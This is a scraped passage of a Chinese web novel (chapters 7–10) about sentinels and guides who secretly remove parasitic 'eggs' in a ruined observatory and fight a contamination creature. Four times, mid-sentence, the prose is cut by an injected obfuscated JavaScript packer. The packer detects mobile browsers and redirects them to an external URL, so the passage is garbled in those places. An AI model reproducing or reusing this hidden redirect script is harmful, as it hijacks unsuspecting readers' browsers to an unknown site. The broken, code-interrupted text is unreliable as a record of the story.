纪戎有些出神,呢喃道:“天象观测站的旧址?” 如果说到废弃的地下设施,对新来的哨向而言,最开始,就会被警告禁止踏入的,就是这处古怪的旧址。 据说,这是六十多年前,联邦境内第一次爆发严重的污染潮时,最先遭到污染物蹂·躏的地方。 因为不明原因,这片无人旷野上的天象观测站,成了凭空出现的污染潮,第一个攻击目标。 而后,污染潮再向田野、城市的方向涌去。 因此,在付出了极惨痛的代价,将这波污染潮剿灭后,原天象观测站的旧址之上,建立起了这片军事基地。后来,与南方的基地一同,改名“白塔”。 可是这片残留的废墟,却一直不曾被填平,而只是封存了起来,成了白塔的禁地。 霍衔月疑虑,道:“在那里,不会有人误入吗?” 隗溯轻声笑道:“恐怕,就连白塔的守卫们,都不敢靠近旧址。也只有战斗部,才会把那里当成入部仪式的一环,就和鬼屋试胆差不多的意思,你看到就明白了。” 霍衔月拧眉,有些忐忑莫名。 直到午间,他装作身体不适的模样,在暗地里收集完所需的手术材料,装在登山包中,用精神力干扰了周围人的感知,溜出宿舍。 在训练馆的背面,和隗溯暂时汇合,一同向天象观测站的旧址而去。 他们沉默不语地潜入一道道铁丝网,熟练地绕过每一处监控摄像头,从蛛网般的废弃地道口之一,翻越破损的铁栅栏,向内走去。 等来到了与纪戎约定的“广场”,霍衔月彻底明白了,这个地方,为何会成为战斗部的入部仪式场地—— 巨大的残缺金属望远镜支架之上,风干的扭曲污染物残骸,如同来自地狱的使者,迸发着无数菌丝状的枯萎触手。 而被瞬间硬化的人类尸体,争先恐后地试图从污染潮中逃离,却只是变成了这连绵雕像中的无数背景板之一。 他们胸前的身份吊牌,从雕塑上垂落,隐约能看清其中字迹。 或许,只有直面这样的场景,才能实际意义上理解,这种可怖的灾害,究竟是怀着怎样的恶意,将智慧生物吞噬。 忽而,广场尽头的阴影之中,走出了一道修长的身影。 霍衔月看到,粗壮而泛着幽幽蓝光的深色巨蟒,正缠在那道身影的颈侧,安静地隔着扭曲的干尸与枯萎触手,注视着自己。 而另一边,两道脚步声,悠闲松散地传来。 披着白色运动外套,一摸一样的两名双胞胎少年,视线转了过来。 在两人的肩头,各停着一只纯白的和平鸽。 隗溯与霍衔月的身后,金发哨兵终于从某座“雕像”之后,走了出来。 纪戎将自己黑色卫衣的兜帽取下,露出藏起的金色兽耳,身侧,巨大的精神体雄狮悠闲踱步着,笑着道: “他们都是一定会为此保密的人,我给他们看了’那样东西’,并解释了我如今的情况。他们愿意进行手术,而且,也拥有各自独特的精神能力,想必可以提供助力。” 7. 第 7 章 从霍衔月的视角看去,不论是那道缠绕着巨蟒的身影,还是肩头站着白鸽的双胞胎少年,都理所当然地与自己的精神体,站在了一起。 对于哨兵和向导而言,尽管在战场上,他们习惯与精神体共同作战。 但在平日里,并不会时时刻刻放出精神体,这也是为了防止,偶然撞上匹配度较高的哨向时,不至于暴露一些内心的秘密、或精神体的战斗方式。 可是现在,废墟广场之上,他们全都释放出了自己的精神体。 而霍衔月可以看见,“它们”的全部。 “你也能看见我的小蓝,对吗?”一道清冷的女声,在空旷的废墟间响起。 霍衔月转过头,看见那道高挑修长的身影走近,是一名及肩长发背头的年轻哨兵,一身暗色的制服,眸色冰冷。 她颈侧的巨蟒,随着她手臂的动作,慢慢移动至苍白的手腕上,紧紧盯着青年的方向。 而另一侧,若有所思的双胞胎少年,逗弄着自己肩头的白鸽,笑着道: “你甚至能看见我们的宠物小鸟,对不对?” 霍衔月微微愣住,想起了先前曾听说过,战斗部中,有一对攻击型向导,是双胞胎。 也就是说,眼前的两人,全都是向导。 他也可以看见向导的精神体。 隗溯沉默着,望了一眼靠在旁边的金发哨兵,纪戎眼中似乎是几分了然的神情。 广场中央,青年终于轻轻点了点头。 他思索了片刻,垂眸道:“我都可以看见。我确实明白,自己的精神力是不一样的,在入塔前的检测中,显示,这份精神力可以与白塔中几乎所有的哨兵,匹配成功。” 这番话语,掀起了废墟广场之上,霎时间不同程度的骚动。 向导与哨兵间匹配成功,已然是称得上灵魂伴侣程度,相当稀有而珍贵的的关系了。 然而,如果说,对方的精神力,对所有的哨兵而言,都拥有那种致命的吸引力,甚至强大到,能够感知到向导的精神体。 那么,这是否说明,对任何人来说,他们都无法成为对青年来说,最特别、或是更加重要的那个人? 霍衔月走到了最高的雕塑之下,望了一眼阴影中,什么都没有说的纪戎,对着众人道: “或许就是因为这份特殊的精神力,才令我发现了卵的存在,这是我们的优势,也是如今,唯一比对方快的那一步。” 巨蟒的哨兵点点头,干脆利落道: “那就很简单了,在两天后的模拟大赛中,几乎所有的哨向,都会被圈在同一片无人区中,隔绝一切外部通讯,直到分出最终胜负排名。 我们拥有这样的一项分辨’敌我’的能力,就有很多操作空间了。” 双子向导情绪激昂地举起手,道: “没错,这种大场面下,最容易将敌人逼出破绽了。乔麟姐可是非常擅长拷·问的,不论是普通人还是变异人,会做出这种事情的,总不会是什么好东西—— 而我的宠物小鸟,就算是在隔绝通讯的赛场中,也可以监视着白塔中的一切动向。” 乔麟,便是那名巨蟒哨兵的名字。 阴影之中,抚摸着焦躁不安的金色狮子的纪戎,忽而,缓缓开口道: “不过,我们无法看到白鸽的身影,要如何在大赛中,互相联络线索?” 霍衔月微微紧握指尖,莫名有点微妙的别扭,深呼吸,低低传声道: 【这个问题的话,我可以构成精神力通道,使得通道的两端,都能够使用精神力进行沟通交流。】 隗溯心中猛地一跳,感到那道声音,就仿佛在他的耳边,低声呢喃一般。 而对于广场之中的所有人,都是一样的。 巨蟒的哨兵微眯起眼,神情之中,多了几分沉沉的紧绷与凝思。 应对大赛的分工,很快商议完毕,而众人一致同意,立刻进行手术。 而就算是,身体恢复速度稍许慢些的双子向导,也一刻都不能容忍,继续揣着这么个定时炸弹,不知什么时候会突然炸开。 众人起初,对纪戎的那对金色兽耳,有些接受艰难,轮番摸了一遍,怀疑他的精神力还没有恢复完全,可能对实力发挥有些损伤。 然而,在彻底把纪戎摸炸毛,感受了一番他爆红着脸的反击后,其他同伴便终于放下心来,不再对此忧心忡忡了。 只是,为了保险起见,在外面的时候,他仍会稍许遮掩一下,自己身体上过分明显的这份异变,所以戴上了兜帽。 由于向导的恢复能力较弱,众人先准备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960274|161038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了那对双子少年的手术。 霍衔月趁着上午的时间,从白塔医务室,悄悄收集了更多专业的器具与麻醉剂,这是因为其他的哨向,并不如金发哨兵那样的情况危急。 或许,会有人需要这些。 他在一旁准备着手术器具,忽而,通过一条双向的精神力通道,听到一道平静的嗓音,传了过来,正属于方才的巨蟒哨兵乔麟: 【谢谢,你愿意说出自己的秘密,让纪戎告诉我们此事。】 霍衔月微微偏过头,诧异地看到,不远处,正在准备手术台的巨蟒哨兵,正不动声色地用精神力秘密传音。 他不明白,对方想说的话究竟是什么,又为何要使用这种方式,只简单道: 【没关系。而且,这也不只是为了一个人。】 正在准备着手术台的乔麟,动作顿了下,若有所思地抬起头,看向前方,背对着他们布置遮挡物的黑发哨兵。 她似乎能意识到,相对于他们这些纪戎的熟人,为了“卵”的秘密,而聚集在这里。 隗溯对于这名新手向导而言,立场是不太一样的。 他并非像是为了这场聚会而来,而更像是,仅仅因为青年在这里,所以,才疏离而又包容地,陪在了青年的身边。 乔麟咬牙,她明白,每个人都有自己的秘密,而她,则也有不得不豁出去的时候: 【抱歉,我并非是刻意去调查过你的身份,但在你进塔之初,我便知道了你的名字—— “霍衔月”,你是联邦科学院的首席研究员,研究方向,是生物医学,对吗?】 话音落下,不知为何,另一头布置着遮挡物的黑发哨兵,似乎动作变慢了些。 霍衔月有些惊讶,但没有否认。 他保持着沉默,想要知道,对方究竟准备说些什么。 终于,精神力通道的那一头,传来了乔麟沉沉的声音: 【我是为了寻找一个人,而进入白塔的。或许,在你看来,这显得有些奇怪而诡异,但是,今天发生的这些事,却让我无法不联想到,这其中千丝万缕的关联。 我的妹妹,是在三年前失踪的。而她失踪前,所工作的地方,是临近无人区的一所药厂。据她曾经的通信,药厂中养殖的,是某种拥有生命的“液体”。】 8. 第 8 章 废墟广场中,空气仿佛霎时间,阴冷了下来。 青年握着指尖,一次性手术刀的包装,就算被棱角压疼了,也没有去注意。 药厂? 为什么,这名强悍的战斗部哨兵,要在现在,告诉他如此重要的秘密? 如果,自己不是值得信任的对象,那么,这件事可以令对方,在白塔之中的立场变得非常危险。 毕竟,霍衔月很清楚,在这个地方,隐藏着的秘密,远比它外表看起来的,要更为浓重和黑暗。 这枚“卵”,只不过是一个开始。 他继续做着手术的准备工作,传音的语调,微微有些紧绷,道: 【你是在怀疑,这间药厂中生产的东西,和白塔给哨兵、向导,使用的某些物资,有关联,是吗?】 如果是这样,那么,变异人在塔里的衣食住行,几乎是防不胜防,更不必说,已经有金发哨兵活生生的案例在。 精神力通道的那一头,乔麟猛地转过头,用力地盯着阴影之下,青年看起来仿佛仍然平静的动作。 究竟,对方是从什么时候开始,便意识到这件事的? 准备终于完成,按照计划,会先进行双胞胎少年的手术。 旧址的废墟之中,四面都有数不清的通道,不论是否还能够走得通,都给他们提供了足够充足的逃跑路线。 就算这边的动静,引来了任何守卫的注意,他们都可以第一时间,扑灭证据,分头离开这个地方。 而隗溯布置的路障,更是能够遮蔽四处的视线,给他们逃离的时间。 霍衔月走到简易手术台的面前,低头,瞥了一眼不远处,正抱着双臂,靠在废墟之下,守着通道口的黑发哨兵。 不论是最初,带他前往旧址的时候,还是方才,所有人商议模拟大赛的时候,似乎,这个人都不曾表露出,急切地希望剖出“卵”的厌恶感。 其他战斗部的哨向,对于隗溯独狼一般的行为处事,仿佛已经很习惯了,没有露出更多的疑惑。 可是,就算这或许是他的错觉,但隗溯今天的模样,还是有些不太对劲。 手术台上,被双子哥哥按住的运动服少年,双眼直直地盯着麻醉剂的针头,分明平时是十分狂妄的性子,在面对一脸平静的“主刀”青年时,仍是开始牙齿打颤: “你替纪戎哥剖卵的时候,他、他他有没有喊出声?” 霍衔月呆了下,挤出针头一点点的空气,慢慢回忆道: “没有,他没有发出任何的声音。或许,是因为旁边有其他人,所以他不好意思吧。” 他回想起,纪戎似乎在黑发哨兵的面前,格外一本正经些。 运动服少年紧闭上眼,表情挤在了一起,战战兢兢道: “会不会我们在’鬼屋’里,取魔鬼的卵,反而把它们唤醒了?” 霍衔月被他微微一惊,果真抬起头,环视着周遭景象,目之所及,狰狞古怪的雕塑阴影间,仿佛处处,便能冒出些鬼怪来。 可精神力探知的结果,仍然是一片平静。 在这片空间内,只有他们这一群人的气息。 青年握紧了手术刀,镇定下心神,决定不要再回答,少年的任何问题了。 不远处,黑发哨兵靠在断墙之下,低头无声地露出一抹笑,那笑意却又瞬息即逝,下意识握住了自己的左臂,指节用力到泛白。 就算他怎样装作不在意,可就在休息室中,看到那枚卵的时候。 他便知道,终有一天,自己身上的秘密,便会再也遮掩不住,暴露在明晃晃的阳光之下。 或许,所有战斗部的哨向体内,都被不知名的阴谋,埋入了那颗邪恶的活物,它会吞噬他们的精神力,甚至最终导致精神暴动。 然而,只有自己,隗溯知晓得清清楚楚,自从上一世,他从疯狂堕落的谷底,牺牲所有的一切,扭转时间,重启了世界线。 他便已经,不能再算作是“活着”的某种东西了。 又怎么会有平常的人类,不论受到怎样的伤势,都能迅速恢复如初? 又怎么会有哪个哨兵,除了宛如无尽空洞的精神图景,就连精神体藤蔓,都因为畸变与异化,而不敢于在任何人面前显露出来。 隗溯不动声色地触碰上,自己紧身制服下的腹部,忐忑不安地思索着,如果,他并没有“怀”着一粒卵,自己的身体,压根就抚育不出任何的活物。 那么,现在他剖开自己的腹部,悄悄塞进些什么,还来得及吗? 而且,他还得找一找理由,要如何解释左臂的绷带,在哨兵如此强的恢复力下,仍然还古怪地绑着。 静悄悄的废墟广场之中,只有轻微的手术刀、镊子、塑胶手套的碰撞声。 不知过了多久,隗溯被一道细微的动静,骤然吸引了注意力。 在某条深邃的中央广场通道尽头,分明不该有任何人,可他释放出的五感,竟听到了某种黏腻的流动声。 隗溯猛地回过头,看到手术台的方向上,乔麟正翻下制服的衣摆,没事人一样地从铺着防水层的台面上,跳了下来。 那两名双子向导也已经做完手术,虚弱地靠在一旁,互相依偎着瑟瑟发抖,纪戎低声,安抚着他们受惊吓的心情。 最里侧,青年刚刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960275|161038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 取下医用手套,转过头,略有些疲惫的浅色眸子,恰好对上了黑发哨兵的视线,愣愣地呆在了原地。 还不等青年回过神来,想明白,黑发哨兵为何要用这样的神情,看向自己—— 隗溯背对着发生异变的那条通道,用尽全力地奔向手术台的方向,而就在这个时候,天象观测站的废墟广场中央,传来一阵猛烈的震颤,轰然向下塌陷。 …… 旧址的某消防通道入口。 一片破碎的白色制服布条,上面隐约可见,白塔研究所的蓝色标志绣纹,仿佛是才从衣物上,撕裂而下的。 崎岖不平的深邃道路下,灰尘与蛛网的覆盖着的水泥地面,蜿蜒着一道明显的拖拽痕迹。 就仿佛是,有“谁”,在误入了这片秘境后,猝不及防地便被什么东西捆绑、吞噬着,向深处拽去。 而墙面,被风干的某种半透明状触手,所封起的古老的“注意消防安全”宣传画,上面微微褪色的红色颜料,仿佛在某个瞬间,显得在流动。 向着巢穴的更深处,流动。 流动。 …… 霍衔月从剧烈的冲击中,勉强睁开双眼的时候,他的视线前方,一片模糊的朦胧亮光,正宛如万花筒中的五彩碎片般,缓缓移动游移着。 身体无比的沉重,似乎胸口被压迫着,就连呼吸,都有些艰难。 好在身下,似乎着陆在了一片松散的草垛质感物体上,不至于感到疼痛。 他用力眨着双眼,强迫自己立刻恢复清醒,来看清眼前所发生的情景。 视野慢慢变得清晰,朦胧的亮光之中,那一抹流动的红色,一点点变得鲜明无比,仿佛星空之中,璀璨而耀眼的红热尽头。 霍衔月猛地醒过神来,看清了在他眼前的不远处,一团近乎是邪恶的明亮红色半透明状物体,正从看不清尽头的废墟深处,探向他的眼瞳方向。 而四周向下坍塌的地面,正陷入了某个看起来宛如巢穴的,由风干丝状触手凝结而成的,巨大蛛网状结构中。 他周身的精神力探知,都传达出强烈到爆鸣程度的警报,仿佛要激起他浑身的电流。 恢复了感知的身体,慢慢挣动,触碰到了一具温暖而熟悉的身躯。 霍衔月抬起指尖,看到了一抹不属于自己的鲜血。 而他低下头,终于意识到,那道压在胸口的沉沉分量,来自紧紧闭着双眼,仍伸手护住了他的脑后,陷入昏迷的黑发哨兵。 在那件漆黑的紧身制服上衣背后,深入血肉的断裂钢筋,正斜刺在腰间,破开一股细细的血流,流入两人身躯紧贴之处。 9. 第 9 章 青年周身的体温,仿佛也随着那道刺目的血迹,疯狂地从体内流逝。 霍衔月的指尖颤抖着,怀着说不清道不明的恐惧,一点点地抱住了那具身躯。 触手的温度,仍然表明,怀中的哨兵,没有在他失去意识的这段时间内,因为受伤而危及生命。 然而,尽管如此,霍衔月也不清楚,对方腰间的那道伤口,究竟有多深,又还有哪里,也受到了坍塌的冲击。 他抬眸,注视着悄然靠近的明亮“异物”,浅色的眼瞳之中,倒映着过分璀璨的亮红色星空。 一种仿佛要失去什么的惊恐,让青年的头脑中,面对可怖诡异的退缩与害怕,变得近乎淡薄。 霍衔月咬牙,铺展开精神力的感知,在混乱的气息流动之中,使得自己的感知,能对抗那片明亮异形的干扰,阻止对方的前进。 他的视野,霎那之间,来到了这片空间的每一个角落。 透过感知,精神力的触手前端,穿过怀中黑发哨兵的血液、肌肉、骨骼、与每一丝皮肤的纹理,撞向面前,那片庞大的精神力乱流之中。 在碰撞的那一瞬间,在他的眼前,陌生的记忆风景,炸了开来。 霍衔月被眼前,不曾想象到的画面,给震在了原地。 陌生记忆中的风景,由无数个晃动的视角,共同组成了一副壮阔的画卷。 这是六十多年前,空前规模的污染潮,第一次涌入联邦边境的无人区时,那些天象观测站中逃亡的工作者们,所看见的景象。 当海啸般、混沌而美丽的半透明污染潮,凭空而来,涌入这座古怪的半下沉式观测站时,数不清的数据、资料被淹没。 起初,有人想逃离观测站,向山丘下逃跑。 然而,失去了建筑物的遮蔽,不论他们是驾驶车辆逃亡,还是徒步躲藏在稀疏的灌木之后,都毫无求生的希望,迅速被污染潮所吞没。 剩余的幸存者们,最终向着,这座观测站的地下结构中退避。 位于联邦北端无人区的,这座天象观测站,不知出于何种原因,在设计之初,便不同于寻常的天文台,而建造了复杂的地下结构。 抱着仅剩的一些数据与资料,他们开启了地下最深处的保险库,所有人用沉重的器材与金条,堵住了锁死的金属圆形门。 可霍衔月看到了,伴随着一声又一声沉闷的撞击,最后的幸存者们,也成了那座高耸的扭曲雕塑中,被抽干了灵魂、瞬间硬化的人类尸体之一。 这些,究竟是……属于半透明“异形”的记忆,还是它曾经所吞噬的,那些人类的记忆? 不远处,被干扰了感知的扭曲半透明状异形,僵硬地发出无声的嘶鸣,吞吐着自身的组织,试图摆脱这种控制。 恍惚之间,青年似乎通过无形的精神力双眼,“看”到了异形的体内,隐约被碾碎的一条较新的白色布片,上面,缠着几道断裂的蓝色绣线。 而新的碎片记忆,也一瞬间通过精神力的碰撞,传递到了他的脑海中。 某个穿着白色制服的微胖男子,在这零星的碎片画面中,正悄然小心翼翼地,跨过数道禁止入内的警戒线,踏入一条破败的消防通道。 而他的视角,正是这名男子的视角。 霍衔月微微一惊,从那记忆的视角看去,眼前的消防通道,简直有些过分的熟悉。 画面骤然破碎摇晃,而下一刻,他便从那名微胖男子的双眼之中,看到了极偏远的拐角处,纪戎戴着黑色卫衣兜帽的一抹背影。 这份记忆中的场景,就是天象观测站的旧址! 这个人,是跟踪着纪戎进入废墟旧址的吗? 他还来不及细思、对方可能的身份,意识就被骤然拉回了本体的身躯,浅色的瞳孔上方,被一片阴影所笼罩。 霍衔月微微张开口,无声地,与睁开了双眼、正俯身支撑在他上方的黑发哨兵,对上了眸子。 那双黑沉沉的眼眸之中,没有受伤的动摇,没有疑惑,没有询问青年、为何会死死地扣住他腰间的衣角。 隗溯只是露出了一抹,几乎称不上是笑的浅淡笑容,就跪直了身体,踩在风干触手凝结成的蛛网中央,转头站起了身。 他平静地伸手,从腰后的血肉模糊间,缓缓抽出那半截断裂的钢刺,随手丢在一旁的废墟下。 狰狞的伤口,涌出一小股的鲜血,又宛如快镜头效果般,扑哧扑哧地,开始收束和闭合。 比起不久之前,刚刚完成手术的金发哨兵或巨蟒哨兵,他的恢复速度,简直要快上了太多倍。 半透明的“异形”,似乎被黑发哨兵起身的动静,给刺激到了精神,一刹那间,短暂地逃脱了霍衔月的精神力控制。 霍衔月的心跳猛地空了一拍,挣扎着起身,想要拦住隗溯向前进的那道身影。 然而,还不等他,重新控制住异形的攻击。 黑发哨兵的脊背后方,凭空生出的宛如骨翼般的漆黑藤蔓,便如同一片漆黑的海洋,瞬间冲天而起,如水幕般,阻挡在青年与异形之间。 隗溯在“水幕”之后,微微扭头,瞥了一眼青年的方向,随即从蛛网间一跃而下,直取半透明触手的躯干处。 他不敢去看,在目睹了自己明显异常的畸变精神体,和令人恶心的身体恢复速度后,那个人,究竟会露出怎样的目光。 就仿佛一直以来,自己最为害怕的情景,会又一次发生。 就连隗溯自己,都明白,不论是上辈子,作为S级哨兵的自己,还是如今,甚至无法与任何向导进行精 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960276|161038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神匹配的,作为“异类”的自己。 都不过是受到欲·望与本能控制的,可悲的怪物而已。 在上辈子,那一小段,令他甚至不敢回想的、偷来的时光之中。 那时候,随着他的记忆一点点恢复,身为S级哨兵的超常恢复力、过分难以控制的力气,还有越来越令他发狂的精神力躁动、也渐渐地恢复,让他开始越发害怕。 他在亲近的时候,不敢触碰青年的身体。 就算是将所有的窗帘都拉上,熄灭灯光,他也会因为,恐惧自己异常的身体恢复能力被发现,而抗拒对方关心与担忧的举动。 由于精神力的狂躁,有一次,自己克制不住地在青年的身上,寻求更为疯狂的抚慰。 他不想面对那个人身上的伤痕。 因而,越发频繁地夜不归宿。 他本以为,自己可以保护好对方的。 隗溯跃至这片废墟的最下方,下意识地咬牙,克制住胸口起伏的情绪,就算如今,他已经再也不会精神力狂躁了。 这株半透明的异形触手,看起来,不是它真正的本体,因此无法一次性被剿灭。 但是,只是阻止对方再生,使用畸变藤蔓做出切碎,这种程度,他还是能够做到的。 黑发哨兵落地的一瞬,锋利如镰刀的漆黑藤蔓,便从那团蠕动半透明的异形中央,猛地爆裂开,溅起无数团黏腻的碎块。 而坐在蛛网状结构中央,视野被藤蔓的屏障、所完全阻挡住的霍衔月,只能通过精神力探知,来了解废墟中发生的一切。 精神力触手的感知,清晰地告诉了他,这片漆黑藤蔓上的气息,对于一名S级哨兵的精神体来说,并不对劲。 怎么会有变异人的精神体,从外表看起来,简直就如同禁区之中,受到污染潮感染的畸变植物一般…… 霍衔月感到自己的指尖冰凉,紧紧地扣住了掌心,用力到近乎麻木。 究竟是发生了什么,才会令隗溯的身体,变成如今的这般模样? 他感到脑海中的某处,仿佛有一道莫名令人动摇的念头,在呼喊着不可能的猜想。 而面前,在藤蔓的屏障之后,霍衔月能感知到,这片空间中的异形触手,已经被黑发哨兵所彻底切碎,暂时不会复生。 青年抿唇,声音干涩得过分,可仍然伸手按住心口,平复呼吸道: “隗溯,你的……” 可他的话语尚未落下,如潮水般的黑色精神体藤蔓,霎时间被收拢,收回了黑发黑眸的哨兵身后,露出那道孤零零的侧影。 霍衔月看到,那个人站在死寂的废墟之下,抬起头来,望向自己的时候,似乎下意识露出了一抹微笑。 只是,那笑容,仿佛比悲伤,还要更难过些。 10. 第 10 章 霍衔月不明白,如果只是希望自己能瞒住秘密,为何,黑发哨兵会露出这样的神情。 就好像,如果自己继续将那句话,说下去的话,那个人,就会再也无法维持住如今的模样。 忽而,远处的断墙之后,传来一道轻微的踩踏声。 他猛地转过头去,精神力探知刹那间,向着更远处延伸而去。 站在废墟底部的隗溯,目光沉了下去,转头望着声响传来的方向,一言不发。 霍衔月的精神力探知,触碰到了一抹熟悉的波动,在废墟深处,一声高亢的狮子吼叫声,略显愉快地传了过来。 而伴随着精神体狮子的动静,金发哨兵略有些尴尬的低声安抚,也从断墙后方传来,引起轻微的回声。 霍衔月看见,穿着黑色卫衣的哨兵,浑身灰头土脸,衣物破损着,与金色的狮子一同爬出了废墟通道。 从对方虽然大部分痊愈,但仍能看得到血迹的手臂上,便能明白,方才,对方也一定也经历了一番凶险的挣扎。 纪戎的视线,落在青年的身上。在看到对方行动无碍,动作也察觉不出任何阻塞后,目光明显亮了些,神色放松下来。 而紧接着,他便注意到了,霍衔月身上的血迹,似是来自一旁的其他变异人。 纪戎默默无声地,与废墟底部的隗溯,对上了视线。 他能看得懂,对方神情中的戒备与敌意,因为,事到如今,自己也已经无法再去否认,心底那份过界的情感。 纪戎压抑住了内心的冲动,轻声笑着道:“我很开心,你能陪在他的身边。” 隗溯微眯起漆黑的眼瞳,没有做出任何回答,而只是转身,向着那片蛛网状结构之上,伸出手臂。 他想放出自己的精神体藤蔓,编织成一道阶梯,能更好地让霍衔月踩着自己,稳稳地从高台上走下来。 可转过身的那一刻,某种说不清道不明的情绪,却令他一时冲动,向着青年伸出手臂。 他为何要做出,这般几乎是自取其辱的举动呢? 如果青年露出了害怕的样子,拒绝他伸出的手,仿佛这样,就能满足某种古怪的心绪,让他的心脏彻底沉入谷底,被撞得粉碎。 霍衔月望着黑发哨兵伸出的手,有些窘迫地,瞥了一眼纪戎的方向。 他明白,隗溯不想在其他变异人的面前,展现出藤蔓精神体,是为了防止体质的秘密被发现。 就算哨兵的精神力感知,远低于向导,仍然有可能,察觉到其中的异样。 但是,就算是这样,黑发哨兵此时伸出手来,难道是想要他,在身边有旁人的情况下,从这高台上跳下去吗? 其实,他也完全可以自己爬下去,虽然有些危险,动作也不怎么美观。 废墟通道口,纪戎察觉到了青年的目光,脚步挪动了下,有些想要走上前。 如果,青年愿意的话,他也可以让精神体狮子,背着对方、稳稳地跃下高台。 然而,纪戎还不曾来得及纠结,该如何开口。 一声小心翼翼的清冷话音,便隐约随着风声,从那一边传了过来: “抱歉,我有些重吧……你明明刚刚受了伤,隗溯。” 霍衔月紧闭着眼,耳尖有些泛着热,可他知道,自己也没有任何别的办法,只能在这种地方跳下去了。 废墟之下,黑发哨兵听到了那微微发颤的声音,有些愣住地抬起头,就看到了向他走来的那道身影。 十数米的距离,对一名高等级哨兵而言,不过是轻轻一跳的高度,自然要接住一个人,也称不上是多么重。 可是,当隗溯伸出手臂,人为地缓冲了坠落的冲击力,抱住青年略显清瘦的腰身,稳当地保持住平衡。 竟一瞬间觉得,怀中的分量 ,近乎让他承受不住胸口的情绪汹涌,让他克制不住、更紧密地,想要扣住手臂的动作。 “隗溯……隗溯,你勒得我有些疼,我……可以自己站稳了。” 青年的声音,断断续续地从耳畔传来。 黑发黑眸的哨兵,肌肉紧绷了一瞬,有些不情不愿地松开手,放下手臂中的青年,退开了一步,额发遮挡住了眼瞳中浓浓的占有欲。 “对不起。下次,我会更加注意的。”他低头道歉。 青年莫名有些不自在的神色,感到黑发哨兵的这句话,听起来奇奇怪怪的,不明白“下次”究竟还有哪次,又觉得对方没有必要道歉。 霍衔月转过头,看向另一边。 纪戎的身旁,那只金色的精神体狮子,正双眼紧紧盯住了这边的方向,看起来,没有受到什么损伤,精神仍然不错。 霍衔月走上前,镇定下心神,道: “你在那时候受到冲击后,还有遇到,除了我们之外的人吗?” 纪戎的神情略为低落,指向他来时的那个方向,回答道: “在中央广场坍塌的时候,我和乔麟他们被冲散开,掉入了那片通道。虽然在路上,我一直在寻找其他人的踪迹,也遇到了几波小的攻击,但恐怕,他们掉入了更深的地方。” 隗溯走上前来,询问道: “你是听到了这边的动静,才找过来的吗?这里的’异物’,恐怕只是冰山一角,而废墟的更深处,会更加危险……” 纪戎陷入沉默,点了点头。 半晌,他沉沉道:“看来,我们必须要向更深处前进了。这里的状况很不对劲,在弄明白异变的原因之前,他们可能会很危险。” 三人确定了方向,出发绕过满地的扭曲碎块,寻到了一条通向地下的路,一前一后地悄然深入。 离开那片狼藉的风干触手所在空间后,他们便不再开口说话了,以免引发不必要的动静,以激起“异物”的警惕。 穿过一条早已失去功能的电梯井,霍衔月通过精神力通道,向两人传声道: 【我在方才,精神力撞击上“异物”的时候,看到了曾经,被它吞噬的那些人类的记忆。】 他的话音落下,站在前方开拓道路的隗溯,神情微动,随即大步继续前行,用传音低声道: 【这是在……我苏醒之前发生的事情,对吗?】 霍衔月默默地点头,声音渐冷,回答道: 【嗯。我看到了,六十多年以前,在这片天象观测站,仍然还发挥着功能的时候,这里是如何被污染潮所吞噬,以及它的地下保险库中,所藏着的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960277|161038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东西。】 隗溯撕开前方,一块破损的铁皮门版,又踢开厚厚的水泥断墙,露出了下方,一条通风管道模样的漆黑小径。 纪戎的精神体狮子,低头俯冲了下去,又很快敏捷地跃了上来,在金发哨兵的腿旁,蹭了蹭。 金发哨兵抬头,用传音平静道: 【下面没有人,也没有异物的动静。但是,那里堆积了无数被废弃的玻璃培养舱,和某些……尸体。】 他们穿过了漆黑的通风管道,面前的景象,骤然开阔。 在破损的古旧天文学器材、和尘土覆盖的合成金属地面间,数不胜数的灰绿色破碎培养舱之中,畸形扭曲的动物骸骨,就宛如无人禁区里,那些受到污染潮感染的变异动物那般。 只不过,历经了数十年的岁月,它们早已失去了原本完整的外观,而变得极难辨认其物种。 霍衔月下意识地呢喃出声,道: 